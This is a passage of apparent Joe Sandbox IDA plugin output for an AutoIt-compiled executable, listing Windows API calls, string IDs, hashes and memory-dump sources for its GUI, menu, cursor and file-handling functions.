                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID:
                              • String ID: >>>AUTOIT SCRIPT<<<$\
                              • API String ID: 0-1896584978
                              • Opcode ID: 044f2c4ecf877d2b2fc48157703a0e30c53185d3f7c6c17f150f9ffb4993ef22
                              • Instruction ID: e6fbcda15cb9520e0e34bfac0f9750edaedb1b44b840e2dcfb1a2c219c195b9a
                              • Opcode Fuzzy Hash: 044f2c4ecf877d2b2fc48157703a0e30c53185d3f7c6c17f150f9ffb4993ef22
                              • Instruction Fuzzy Hash: 907186B2504300ABC720EB65C885FEBB3E8AF94714F148D1FF58997142E679E648C75A
                              APIs
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: InitVariant
                              • String ID:
                              • API String ID: 1927566239-0
                              • Opcode ID: 0ce8a0180f427c6633dd7a645a706da8f2470da33a28fd12fcc8bbcffff15558
                              • Instruction ID: b17386a2766a1a739d91313a8bf0106a5dd250ff49ec0cac6ee5761d63536315
                              • Opcode Fuzzy Hash: 0ce8a0180f427c6633dd7a645a706da8f2470da33a28fd12fcc8bbcffff15558
                              • Instruction Fuzzy Hash: 87A1F5766146019FC300EF65D88499FB7AAFF85315F408D3EFA49C3211D77AD4098BAA
                              APIs
                                • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                              • GetForegroundWindow.USER32(?,?), ref: 0046D7C1
                              • GetForegroundWindow.USER32 ref: 0046DBA4
                              • IsWindow.USER32(?), ref: 0046DBDE
                              • GetDesktopWindow.USER32 ref: 0046DCB5
                              • EnumChildWindows.USER32(00000000), ref: 0046DCBC
                              • EnumWindows.USER32(00460772,?), ref: 0046DCC4
                                • Part of subcall function 00445975: _wcslen.LIBCMT ref: 00445984
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Window$EnumForegroundWindows_wcslen$ChildDesktop
                              • String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
                              • API String ID: 1322021666-1919597938
                              • Opcode ID: f0ae0bd5c84c8fbd9fa80e8b17a650ade3f6139d63811c55da114ce2128ba9af
                              • Instruction ID: 252cd24da08a8cddfda52e39780f3f39bafd894638fb43d2866a45805a666b3e
                              • Opcode Fuzzy Hash: f0ae0bd5c84c8fbd9fa80e8b17a650ade3f6139d63811c55da114ce2128ba9af
                              • Instruction Fuzzy Hash: 96F1C571D143409BCB00EF61C881EAB73A4BF95308F44496FF9456B286E77DE909CB6A
                              APIs
                              • GetLocalTime.KERNEL32(?), ref: 0045DED4
                              • SystemTimeToFileTime.KERNEL32(?,?), ref: 0045DEE4
                              • LocalFileTimeToFileTime.KERNEL32(?,?), ref: 0045DEF0
                              • _wcsncpy.LIBCMT ref: 0045DF0F
                              • __wsplitpath.LIBCMT ref: 0045DF54
                              • _wcscat.LIBCMT ref: 0045DF6C
                              • _wcscat.LIBCMT ref: 0045DF7E
                              • GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 0045DF93
                              • SetCurrentDirectoryW.KERNEL32(?), ref: 0045DFA7
                              • SetCurrentDirectoryW.KERNEL32(?), ref: 0045DFE5
                              • SetCurrentDirectoryW.KERNEL32(?), ref: 0045DFFB
                              • SetCurrentDirectoryW.KERNEL32(?), ref: 0045E00D
                              • _wcscpy.LIBCMT ref: 0045E019
                              • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 0045E05F
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CurrentDirectory$Time$File$Local_wcscat$System__wsplitpath_wcscpy_wcsncpy
                              • String ID: *.*
                              • API String ID: 3201719729-438819550
                              • Opcode ID: 89541da3f554ebb8d42e95f45bc66f31ca584aff69b040987f949bd9346ecb30
                              • Instruction ID: 9ef8ac46b2ec3f8a2b66e183c5d6435db2730cdd54c1860218fefef83dfd89d7
                              • Opcode Fuzzy Hash: 89541da3f554ebb8d42e95f45bc66f31ca584aff69b040987f949bd9346ecb30
                              • Instruction Fuzzy Hash: D061A7B25043049BC724EF65C881E9FB3E8AF94704F048E1EF98987241DB79E949CB96
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: __wcsicoll$IconLoad
                              • String ID: blank$info$question$stop$warning
                              • API String ID: 2485277191-404129466
                              • Opcode ID: 5bed60ec3368b378429e4d7d86c3e9ed6cb6a0c6f582f3c961ebbe10ae210b10
                              • Instruction ID: 3fdcc892c2a25cebf9aff257507665a297d4e16c4260cb8f6e9492a672fb13e0
                              • Opcode Fuzzy Hash: 5bed60ec3368b378429e4d7d86c3e9ed6cb6a0c6f582f3c961ebbe10ae210b10
                              • Instruction Fuzzy Hash: CB2128B6B08301A7D610A725BC05FDF27489FA8365F004C2BF941E2283F3A8A45583BD
                              APIs
                              • CompareStringW.KERNEL32(?,?,004832AC,00000001,004832AC,00000001), ref: 00428611
                              • GetLastError.KERNEL32(?,?,004832AC,00000001,004832AC,00000001), ref: 00428627
                              • strncnt.LIBCMT ref: 00428646
                              • strncnt.LIBCMT ref: 0042865A
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: strncnt$CompareErrorLastString
                              • String ID:
                              • API String ID: 1776594460-0
                              • Opcode ID: 16ce8c3a65625fd7540c51b5c1254bfa478756f7f63d0819a38d9cd03b2976a4
                              • Instruction ID: 056e5a993d73ec50dc3c8e072878bb631c9b69e1f80941a2a69bbd8adeb14d7f
                              • Opcode Fuzzy Hash: 16ce8c3a65625fd7540c51b5c1254bfa478756f7f63d0819a38d9cd03b2976a4
                              • Instruction Fuzzy Hash: 0DA1B131B01225AFDF219F61EC41AAF7BB6AF94340FA4402FF81196251DF3D8891CB58
                              APIs
                              • LoadIconW.USER32(?,00000063), ref: 004545DA
                              • SendMessageW.USER32(?,00000080,00000000,00000000), ref: 004545EC
                              • SetWindowTextW.USER32(?,?), ref: 00454606
                              • GetDlgItem.USER32(?,000003EA), ref: 0045461F
                              • SetWindowTextW.USER32(00000000,?), ref: 00454626
                              • GetDlgItem.USER32(?,000003E9), ref: 00454637
                              • SetWindowTextW.USER32(00000000,?), ref: 0045463E
                              • SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00454663
                              • SendDlgItemMessageW.USER32(?,000003E9,000000C5,?,00000000), ref: 0045467D
                              • GetWindowRect.USER32(?,?), ref: 00454688
                              • SetWindowTextW.USER32(?,?), ref: 004546FD
                              • GetDesktopWindow.USER32 ref: 00454708
                              • GetWindowRect.USER32(00000000), ref: 0045470F
                              • MoveWindow.USER32(?,?,00000000,?,?,00000000), ref: 00454760
                              • GetClientRect.USER32(?,?), ref: 0045476F
                              • PostMessageW.USER32(?,00000005,00000000,?), ref: 0045479E
                              • SetTimer.USER32(?,0000040A,?,00000000), ref: 004547E9
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
                              • String ID:
                              • API String ID: 3869813825-0
                              • Opcode ID: d6d25c813e590b752cbfd9858452ff05e3d443d6a6ce6916d89e520ab15b373f
                              • Instruction ID: 4e77de65cc6986e78e6be143d0a4b9e7f39e78804b6f4fc71fe9e35dfcfd5046
                              • Opcode Fuzzy Hash: d6d25c813e590b752cbfd9858452ff05e3d443d6a6ce6916d89e520ab15b373f
                              • Instruction Fuzzy Hash: 8C616D71604701AFD320DF68CD88F2BB7E8AB88709F004E1DF98697691D7B8E849CB55
                              APIs
                              • LoadCursorW.USER32(00000000,00007F8A), ref: 00458D2D
                              • LoadCursorW.USER32(00000000,00007F00), ref: 00458D3A
                              • LoadCursorW.USER32(00000000,00007F03), ref: 00458D47
                              • LoadCursorW.USER32(00000000,00007F8B), ref: 00458D54
                              • LoadCursorW.USER32(00000000,00007F01), ref: 00458D61
                              • LoadCursorW.USER32(00000000,00007F81), ref: 00458D6E
                              • LoadCursorW.USER32(00000000,00007F88), ref: 00458D7B
                              • LoadCursorW.USER32(00000000,00007F80), ref: 00458D88
                              • LoadCursorW.USER32(00000000,00007F86), ref: 00458D95
                              • LoadCursorW.USER32(00000000,00007F83), ref: 00458DA2
                              • LoadCursorW.USER32(00000000,00007F85), ref: 00458DAF
                              • LoadCursorW.USER32(00000000,00007F82), ref: 00458DBC
                              • LoadCursorW.USER32(00000000,00007F84), ref: 00458DC9
                              • LoadCursorW.USER32(00000000,00007F04), ref: 00458DD6
                              • LoadCursorW.USER32(00000000,00007F02), ref: 00458DE3
                              • LoadCursorW.USER32(00000000,00007F89), ref: 00458DF0
                              • GetCursorInfo.USER32 ref: 00458E03
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Cursor$Load$Info
                              • String ID:
                              • API String ID: 2577412497-0
                              • Opcode ID: 0c78b259ae472df09145ddf792cd37f85d2c816b82f1d484569203a38ef646a1
                              • Instruction ID: 36b4ee280ed0253346847529aeb00c95e660e1b7f2a6688567eec4957a26740b
                              • Opcode Fuzzy Hash: 0c78b259ae472df09145ddf792cd37f85d2c816b82f1d484569203a38ef646a1
                              • Instruction Fuzzy Hash: D9311671E4C3156AE7509F758C5AB1BBEE0AF40B54F004D2FF2889F2D1DAB9E4448B86
                              APIs
                              • PostMessageW.USER32(?,00000112,0000F060,00000000), ref: 004696CC
                              • GetFocus.USER32 ref: 004696E0
                              • GetDlgCtrlID.USER32(00000000), ref: 004696EB
                              • PostMessageW.USER32(?,00000111,?,00000000), ref: 0046973F
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessagePost$CtrlFocus
                              • String ID: 0
                              • API String ID: 1534620443-4108050209
                              • Opcode ID: 833d13db40ec40dec0483232b6284f8533ca83f9805c84b893a2fb0fb577edd9
                              • Instruction ID: 7d80af5808d25915b866e76daf530f36ef8b085de22dc1c7fc8dbb607ae8adb7
                              • Opcode Fuzzy Hash: 833d13db40ec40dec0483232b6284f8533ca83f9805c84b893a2fb0fb577edd9
                              • Instruction Fuzzy Hash: 1591E1B1604301ABD710DF14D884BABB7A8FB89714F004A1EF99497391E7B4DC49CBAB
                              APIs
                              • _memset.LIBCMT ref: 00468107
                              • GetMenuItemInfoW.USER32(?,00000007,00000000,?), ref: 00468190
                              • GetMenuItemCount.USER32(?), ref: 00468227
                              • DeleteMenu.USER32(?,00000005,00000000), ref: 004682B8
                              • DeleteMenu.USER32(?,00000004,00000000), ref: 004682C1
                              • DeleteMenu.USER32(?,00000006,00000000,?,00000004,00000000), ref: 004682CA
                              • DeleteMenu.USER32(00000000,00000003,00000000,?,00000006,00000000,?,00000004,00000000), ref: 004682D3
                              • GetMenuItemCount.USER32 ref: 004682DC
                              • SetMenuItemInfoW.USER32 ref: 00468317
                              • GetCursorPos.USER32(00000000), ref: 00468322
                              • SetForegroundWindow.USER32(?), ref: 0046832D
                              • TrackPopupMenuEx.USER32(?,00000000,00000000,00000006,?,00000000,?,?,00000006,00000000,?,00000004,00000000), ref: 00468345
                              • PostMessageW.USER32(?,00000000,00000000,00000000), ref: 00468352
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
                              • String ID: 0
                              • API String ID: 3993528054-4108050209
                              • Opcode ID: 96134d5ccf85dd2c353584f61e992c1258bc53944db1005dc2f45aa542165571
                              • Instruction ID: a450cccb4b36e122d1eca3afa35c85d1e57e2007e4dd5bc50ce81cada7f4397f
                              • Opcode Fuzzy Hash: 96134d5ccf85dd2c353584f61e992c1258bc53944db1005dc2f45aa542165571
                              • Instruction Fuzzy Hash: 3C71C070648301ABE3309B14CC49F5BB7E8BF86724F244B0EF5A5563D1DBB9A8458B1B
                              APIs
                              • DragQueryPoint.SHELL32(?,?), ref: 0046F2DA
                                • Part of subcall function 00441CB4: ClientToScreen.USER32(00000000,?), ref: 00441CDE
                                • Part of subcall function 00441CB4: GetWindowRect.USER32(?,?), ref: 00441D5A
                                • Part of subcall function 00441CB4: PtInRect.USER32(?,?,?), ref: 00441D6F
                              • SendMessageW.USER32(?), ref: 0046F34C
                              • DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0046F355
                              • DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 0046F37F
                              • _wcscat.LIBCMT ref: 0046F3BC
                              • SendMessageW.USER32(?,000000C2,00000001,?), ref: 0046F3D1
                              • SendMessageW.USER32(?,000000B0,?,?), ref: 0046F3E3
                              • SendMessageW.USER32(?,000000B1,?,?), ref: 0046F3F1
                              • SendMessageW.USER32(?,000000B1,?,?), ref: 0046F40E
                              • DragFinish.SHELL32(?), ref: 0046F414
                              • DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 0046F4FC
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessageSend$Drag$Query$FileRect$ClientFinishPointProcScreenWindow_wcscat
                              • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
                              • API String ID: 4085615965-3440237614
                              • Opcode ID: e6dc8860684545ee98a9b737372e313d8034606243f87d3f07a4344f64e9a130
                              • Instruction ID: d92027b63b9478c52a8b17f069484fb886a707b260a555cedefccfc898d4b85d
                              • Opcode Fuzzy Hash: e6dc8860684545ee98a9b737372e313d8034606243f87d3f07a4344f64e9a130
                              • Instruction Fuzzy Hash: 596170716043009BD700EF54D885E5FB7A8FFC9714F104A2EF99097291D7B8A949CBAA
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: __wcsicoll
                              • String ID: LEFT$MAIN$MENU$MIDDLE$PRIMARY$RIGHT$SECONDARY
                              • API String ID: 3832890014-4202584635
                              • Opcode ID: 3f0b73fdde0a53fb0a00575eab05b85141dd4a2dcfcc4ab19f269ee93bd0b8a8
                              • Instruction ID: bf73cd225697d97a5a257e466bf5c8c79b4efa22739c650e03c6b1f9c6e9338c
                              • Opcode Fuzzy Hash: 3f0b73fdde0a53fb0a00575eab05b85141dd4a2dcfcc4ab19f269ee93bd0b8a8
                              • Instruction Fuzzy Hash: 1D01616160562122FE11322A7C03BDF15898F5139AF14447BFC05F1282FF4DDA8692EE
                              APIs
                              • _memset.LIBCMT ref: 004669C4
                              • _wcsncpy.LIBCMT ref: 00466A21
                              • _wcsncpy.LIBCMT ref: 00466A4D
                                • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                              • _wcstok.LIBCMT ref: 00466A90
                                • Part of subcall function 004142A3: __getptd.LIBCMT ref: 004142A9
                              • _wcstok.LIBCMT ref: 00466B3F
                              • _wcscpy.LIBCMT ref: 00466BC8
                              • GetOpenFileNameW.COMDLG32(00000058), ref: 00466CFE
                              • _wcslen.LIBCMT ref: 00466D1D
                              • _memset.LIBCMT ref: 00466BEE
                                • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                              • _wcslen.LIBCMT ref: 00466D4B
                              • GetSaveFileNameW.COMDLG32(00000058), ref: 00466D9E
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: _wcslen$FileName_memset_wcscpy_wcsncpy_wcstok$OpenSave__getptd
                              • String ID: X$HH
                              • API String ID: 3021350936-1944015008
                              • Opcode ID: 148ffd08a53066c169799d7010fd2328abbb1436974d200da898f01e024381e3
                              • Instruction ID: 73e83d7ea4d12cbe09e247b0b8120e99e9ae8af51722f6ce2f45a1bbad6557a4
                              • Opcode Fuzzy Hash: 148ffd08a53066c169799d7010fd2328abbb1436974d200da898f01e024381e3
                              • Instruction Fuzzy Hash: D1C1B2715043408BC714EF65C981A9FB3E4BF84304F15892FF949AB292EB78E905CB9B
                              APIs
                              • _memset.LIBCMT ref: 0045F4AE
                              • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 0045F519
                              • SetMenuItemInfoW.USER32(00000008,00000004,00000000,?), ref: 0045F556
                              • Sleep.KERNEL32(000001F4,?,?,00000000,?), ref: 0045F568
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: InfoItemMenu$Sleep_memset
                              • String ID: 0
                              • API String ID: 1504565804-4108050209
                              • Opcode ID: d1fae1760d081b6b8cddc0049297ea6fd0734e9abca2e90a1ac85592b3d85e38
                              • Instruction ID: 9e8996cb251b45e9fd8013479734a73363ce4640cf951279a7d2fdadd0934edb
                              • Opcode Fuzzy Hash: d1fae1760d081b6b8cddc0049297ea6fd0734e9abca2e90a1ac85592b3d85e38
                              • Instruction Fuzzy Hash: E171E3711043406BD3109F54DD48FABBBE8EBD5306F04086FFD8587252D6B9A94EC76A
                              APIs
                              • DestroyWindow.USER32(?,004A83D8,?), ref: 00455800
                              • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00400000,00000000), ref: 00455847
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: Window$CreateDestroy
                              • String ID: ,$tooltips_class32
                              • API String ID: 1109047481-3856767331
                              • Opcode ID: 0ca5ab61cf6a2cad142a114e1c8ac043728d1bef212d4075191e352a737c6d07
                              • Instruction ID: af4df8b80438f92fd5356fe82daba85812243c44dff517d7eb602cf52e2cfce3
                              • Opcode Fuzzy Hash: 0ca5ab61cf6a2cad142a114e1c8ac043728d1bef212d4075191e352a737c6d07
                              • Instruction Fuzzy Hash: BF719075244704AFE320DB28CC85F7B77E4EB89700F50491EFA8197391E6B5E905CB59
                              APIs
                              • _wcsncpy.LIBCMT ref: 0045CCFA
                              • __wsplitpath.LIBCMT ref: 0045CD3C
                              • _wcscat.LIBCMT ref: 0045CD51
                              • _wcscat.LIBCMT ref: 0045CD63
                              • GetCurrentDirectoryW.KERNEL32(00000104,?,?,?,?,?,?,?,00000104,?), ref: 0045CD78
                              • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,00000104,?), ref: 0045CD8C
                                • Part of subcall function 00436AC4: GetFileAttributesW.KERNEL32(?,0044BD82,?,?,?), ref: 00436AC9
                              • GetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,00000104,?), ref: 0045CDD0
                              • SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,00000104,?), ref: 0045CDE6
                              • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,00000104,?), ref: 0045CDF8
                              • SetCurrentDirectoryW.KERNEL32(?), ref: 0045CE08
                              • _wcscpy.LIBCMT ref: 0045CE14
                              • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,00000104,?), ref: 0045CE5A
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
